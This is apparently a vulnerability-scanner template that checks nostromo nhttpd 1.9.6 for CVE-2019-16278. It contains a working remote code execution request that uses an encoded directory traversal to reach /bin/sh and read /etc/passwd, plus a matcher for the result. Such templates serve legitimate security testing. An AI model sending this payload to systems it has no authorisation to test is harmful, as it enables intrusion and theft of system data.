id: CVE-2019-16278

info:
  name: nostromo 1.9.6 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via  directory traversal in the function http_verify.
  reference:
    - https://packetstormsecurity.com/files/155802/nostromo-1.9.6-Remote-Code-Execution.html
    - https://www.exploit-db.com/raw/47837
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16278
    - http://www.nazgul.ch/dev/nostromo_cl.txt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-16278
    cwe-id: CWE-22
    cpe: cpe:2.3:a:nazgul:nostromo_nhttpd:*:*:*:*:*:*:*:*
    epss-score: 0.97411
  tags: edb,cve,cve2019,rce,packetstorm
  metadata:
    max-request: 1

http:
  - raw:
      - |
        POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
        Host: {{Hostname}}

        echo
        echo
        cat /etc/passwd 2>&1

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"